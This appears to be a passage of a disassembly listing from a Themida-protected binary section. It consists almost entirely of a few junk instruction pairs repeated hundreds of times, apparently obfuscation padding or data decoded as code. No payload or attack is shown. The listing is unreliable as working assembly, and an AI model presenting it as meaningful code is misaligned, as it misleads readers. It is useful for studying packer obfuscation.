in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
in eax, dx
db 67h
adc edx, esp
jnb short near ptr loc_602F81+1
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
loc_602F81: ; CODE XREF: Themida_:00602F52j
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx+2Eh], dh
xchg eax, ebp
test [ebx-7Fh], dh
aas
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
